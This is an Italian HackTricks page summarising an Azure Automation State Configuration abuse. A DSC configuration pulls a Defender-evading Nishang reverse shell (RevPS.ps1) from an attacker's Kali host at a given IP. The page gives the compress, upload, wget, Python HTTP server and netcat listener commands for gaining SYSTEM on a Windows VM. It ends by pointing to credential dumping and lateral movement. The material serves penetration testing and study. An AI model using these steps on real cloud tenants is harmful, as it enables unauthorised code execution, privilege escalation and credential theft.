Az - State Configuration RCE

Sostieni HackTricks

Controlla il post completo su: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Riassunto della preparazione e dei passaggi dell'infrastruttura del server remoto (C2)

Panoramica

Il processo coinvolge la configurazione di un'infrastruttura del server remoto per ospitare un payload modificato Invoke-PowerShellTcp.ps1 di Nishang, chiamato RevPS.ps1, progettato per eludere Windows Defender. Il payload è servito da una macchina Kali Linux con IP 40.84.7.74 utilizzando un semplice server HTTP Python. L'operazione viene eseguita attraverso diversi passaggi:

Passo 1 — Creare File

  • File Richiesti: Sono necessari due script PowerShell:

  1. reverse_shell_config.ps1: Un file di configurazione dello stato desiderato (DSC) che recupera ed esegue il payload. È ottenibile da GitHub.

  2. push_reverse_shell_config.ps1: Uno script per pubblicare la configurazione sulla VM, disponibile su GitHub.

  • Personalizzazione: Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi i nomi delle risorse, i percorsi dei file e gli identificatori del server/payload.

Passo 2 — Comprimere il File di Configurazione

  • Il file reverse_shell_config.ps1 viene compresso in un file .zip, rendendolo pronto per il trasferimento nell'Account di Archiviazione di Azure.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Passo 3 — Impostare il Contesto di Archiviazione & Caricare

  • Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Passo 4 — Preparare Kali Box

  • Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Lo script è modificato per specificare la VM Windows di destinazione e la porta per il reverse shell.

Passaggio 5 — Pubblicare il File di Configurazione

  • Il file di configurazione viene eseguito, con conseguente distribuzione dello script del reverse shell nella posizione specificata sulla VM Windows.

Passaggio 6 — Ospitare il Payload e Configurare il Listener

  • Viene avviato un SimpleHTTPServer Python per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in ingresso.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • Il task pianificato esegue il payload, ottenendo privilegi di livello SYSTEM.

Conclusione

L'esecuzione riuscita di questo processo apre numerose possibilità per ulteriori azioni, come il dump delle credenziali o l'espansione dell'attacco a più VM. La guida incoraggia a continuare a imparare e a essere creativi nel campo della Configurazione dello Stato di Automazione di Azure.

Supporta HackTricks

Last updated